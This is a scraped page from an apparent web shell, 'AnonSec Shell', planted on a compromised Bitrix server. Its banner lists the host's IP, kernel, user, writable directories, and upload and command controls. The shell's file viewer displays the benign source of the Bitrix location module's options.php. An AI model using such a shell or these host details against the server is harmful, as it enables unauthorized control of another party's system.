AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.144.1.201
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/location/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/location/options.php
<?php

use Bitrix\Location\Entity\Source\Config;
use Bitrix\Location\Entity\Source\ConfigItem;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Location\Service\FormatService;
use Bitrix\Location\Repository\SourceRepository;
use Bitrix\Location\Entity\Source\OrmConverter;
use Bitrix\Location\Infrastructure\Service\LoggerService\LogLevel;
use Bitrix\Main\Config\Option;

$module_id = 'location';
$moduleAccess = $APPLICATION::GetGroupRight($module_id);

if($moduleAccess >= 'W' && Loader::includeModule($module_id)):

	/**
	 * @global CUser $USER
	 * @global CMain $APPLICATION
	 **/

	IncludeModuleLangFile($_SERVER['DOCUMENT_ROOT'].BX_ROOT.'/modules/main/options.php');
	IncludeModuleLangFile(__FILE__);

	$aTabs = array(
		array('DIV' => 'edit1', 'TAB' => Loc::getMessage('LOCATION_OPT_TAB_OPTIONS'), 'ICON' => "", 'TITLE' => Loc::getMessage('LOCATION_OPT_TAB_OPTIONS')),
		array('DIV' => 'edit2', 'TAB' => Loc::getMessage('LOCATION_OPT_TAB_SOURCES_OPTIONS'), 'ICON' => "", 'TITLE' => Loc::getMessage('LOCATION_OPT_TAB_SOURCES_OPTIONS')),
		array('DIV' => 'edit3', 'TAB' => Loc::getMessage('MAIN_TAB_RIGHTS'), 'ICON' => "", 'TITLE' => Loc::getMessage('MAIN_TAB_TITLE_RIGHTS')),
	);

	$tabControl = new CAdminTabControl('tabControl', $aTabs);

	$sourceRepository = new SourceRepository(new OrmConverter());
	$sources = $sourceRepository->findAll();

	if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_REQUEST['Update'] !== "" && check_bitrix_sessid())
	{
		/**
		 * Common settings
		 */
		if(isset($_REQUEST['address_format_code']))
		{
			Bitrix\Location\Infrastructure\FormatCode::setCurrent($_REQUEST['address_format_code']);
		}

		if(isset($_REQUEST['log_level']))
		{
			Option::set('location', 'log_level', (string)$_REQUEST['log_level']);
		}

		/**
		 * Sources
		 */
		foreach ($sources as $source)
		{
			$sourceCode = $source->getCode();
			$sourceConfig = $source->getConfig() ?? new Config();

			if (!isset($_REQUEST['SOURCE'][$sourceCode]))
			{
				continue;
			}
			$sourceRequest = $_REQUEST['SOURCE'][$sourceCode];

			/**
			 * Update source config
			 */
			$sourceConfigRequest = $_REQUEST['SOURCE'][$sourceCode]['CONFIG'] ?? [];
			/** @var ConfigItem $configItem */
			foreach ($sourceConfig as $configItem)
			{
				if (!$configItem->isVisible())
				{
					continue;
				}
				if (!isset($sourceConfigRequest[$configItem->getCode()]))
				{
					continue;
				}

				$value = null;
				if ($configItem->getType() === ConfigItem::STRING_TYPE)
				{
					$value = $sourceConfigRequest[$configItem->getCode()];
				}
				elseif ($configItem->getType() === ConfigItem::BOOL_TYPE)
				{
					$value = $sourceConfigRequest[$configItem->getCode()] === 'Y';
				}

				$configItem->setValue($value);
			}
			$source->setConfig($sourceConfig);

			/**
			 * Save updated source to database
			 */
			$sourceRepository->save($source);
		}

		ob_start();
		require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/admin/group_rights.php');
		ob_end_clean();

		if($_REQUEST['back_url_settings'] <> '')
			LocalRedirect($_REQUEST['back_url_settings']);

		LocalRedirect($APPLICATION->GetCurPage().'?mid='.urlencode($module_id).'&lang='.urlencode(LANGUAGE_ID).'&'.$tabControl->ActiveTabParam());
	}

	$formatCode = Bitrix\Location\Infrastructure\FormatCode::getCurrent();
	$formatList = [];
	$formatDescriptionList = [];
	$formatDescription = '';

	foreach(FormatService::getInstance()->findAll(LANGUAGE_ID) as $format)
	{
		$formatList[$format->getCode()] = $format->getName();
		$formatDescriptionList[$format->getCode()] = $format->getDescription();

		if($format->getCode() === $formatCode)
		{
			$formatDescription = $format->getDescription();
		}
	}

	$currentLogLevel = (int)Option::get('location', 'log_level', LogLevel::ERROR);
	$logLevels = [
		LogLevel::NONE => loc::getMessage('LOCATION_OPT_LOG_LEVEL_NONE'),
		LogLevel::ERROR => loc::getMessage('LOCATION_OPT_LOG_LEVEL_ERROR'),
		LogLevel::INFO => loc::getMessage('LOCATION_OPT_LOG_LEVEL_INFO'),
		LogLevel::DEBUG => loc::getMessage('LOCATION_OPT_LOG_LEVEL_DEBUG')
	];

	$tabControl->Begin();
	?>
	<form method="post" action="<?echo $APPLICATION->GetCurPage()?>?mid=<?=urlencode($module_id)?>&amp;lang=<?=LANGUAGE_ID?>">
	<?$tabControl->BeginNextTab();?>
		<tr>
			<td width="40%" valign="top"><?=Loc::getMessage("LOCATION_OPT_FORMAT")?>:</td>
			<td width="60%">
				<select name="address_format_code" onchange="onLocationOptionFormatChanged(this.value);">
					<?foreach($formatList as $code => $name):?>
						<option
								value="<?=htmlspecialcharsbx($code)?>"
								<?=$formatCode === $code ? ' selected' : ''?>>
									<?=htmlspecialcharsbx($name)?>
						</option>
					<?endforeach;?>
				</select>
				<?=BeginNote();?>
					<div id="location_address_format_description">
						<?=$formatDescription?>
					</div>
				<?=EndNote();?>
			</td>
		</tr>
		<tr>
			<td width="40%" valign="top"><?=Loc::getMessage("LOCATION_OPT_LOG_LEVEL")?>:</td>
			<td width="60%">
				<select name="log_level">
					<?foreach($logLevels as $level => $name):?>
						<option value="<?=$level?>"<?=($level === $currentLogLevel ? ' selected' : '')?>><?=$name?></option>
					<?endforeach;?>
				</select>
			</td>
		</tr>
	<?$tabControl->BeginNextTab();?>
		<?foreach ($sources as $source):
			$sourceCode = $source->getCode();
			if (
				$sourceCode === \Bitrix\Location\Entity\Source\Factory::OSM_SOURCE_CODE
				&& !\Bitrix\Main\ModuleManager::isModuleInstalled('bitrix24')
			)
			{
				continue;
			}

			$config = $source->getConfig();
		?>
			<tr class="heading">
				<td colspan="2"><b><?=htmlspecialcharsbx($source->getName())?></b></td>
			</tr>

			<?if (!is_null($config)):?>
				<?
				/** @var ConfigItem $configItem */
				foreach ($config as $configItem):
					if (!$configItem->isVisible())
					{
						continue;
					}

					$code = $configItem->getCode();

					$inputName = sprintf(
						'SOURCE[%s][CONFIG][%s]',
						$sourceCode,
						$code
					);
					$name = Loc::getMessage(
						sprintf(
							'LOCATION_OPT_SOURCE_%s_%s',
							$sourceCode,
							$code
						)
					);
					$note = Loc::getMessage(
						sprintf(
							'LOCATION_OPT_SOURCE_%s_%s_NOTE',
							$sourceCode,
							$code
						)
					);
				?>
					<tr>
						<td width="40%" valign="top"><?=$name?>:</td>
						<td width="60%">
							<?if ($configItem->getType() == ConfigItem::STRING_TYPE):?>
								<input type="text" name="<?=htmlspecialcharsbx($inputName)?>" size="40" value="<?=htmlspecialcharsbx($configItem->getValue())?>">
							<?elseif ($configItem->getType() == ConfigItem::BOOL_TYPE):?>
								<input type="hidden" name="<?=htmlspecialcharsbx($inputName)?>" value="N">
								<input type="checkbox" name="<?=htmlspecialcharsbx($inputName)?>" value="Y" <?=($configItem->getValue() ? ' checked' : '')?> >
							<?endif;?>
							<?if ($note):?>
								<?=BeginNote();?><?=$note?><?=EndNote();?>
							<?endif;?>
						</td>
					</tr>
				<?endforeach;?>
			<?endif;?>
		<?endforeach;?>
	<?$tabControl->BeginNextTab();?>
		<?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/group_rights.php");?>

	<?$tabControl->Buttons();?>
		<input type="submit" name="Update" value="<?=GetMessage("MAIN_SAVE")?>" title="<?=GetMessage("MAIN_OPT_SAVE_TITLE")?>" class="adm-btn-save">
		<?=bitrix_sessid_post();?>
		<?if($_REQUEST["back_url_settings"] <> ''):?>
			<input type="button" name="Cancel" value="<?=GetMessage("MAIN_OPT_CANCEL")?>" onclick="window.location="<?echo htmlspecialcharsbx(CUtil::addslashes($_REQUEST["back_url_settings"]))?>''>
			<input type="hidden" name="back_url_settings" value="<?=htmlspecialcharsbx($_REQUEST["back_url_settings"])?>">
		<?endif;?>
	<?$tabControl->End();?>
	</form>

	<script>
		function onLocationOptionFormatChanged(formatCode)
		{
			var formatDescriptionsList = <?=CUtil::PhpToJSObject($formatDescriptionList)?>;
			var note = document.getElementById('location_address_format_description');
			note.innerHTML = formatDescriptionsList[formatCode];
		}
	</script>
<?endif;?>

Anon7 - 2022
AnonSec Team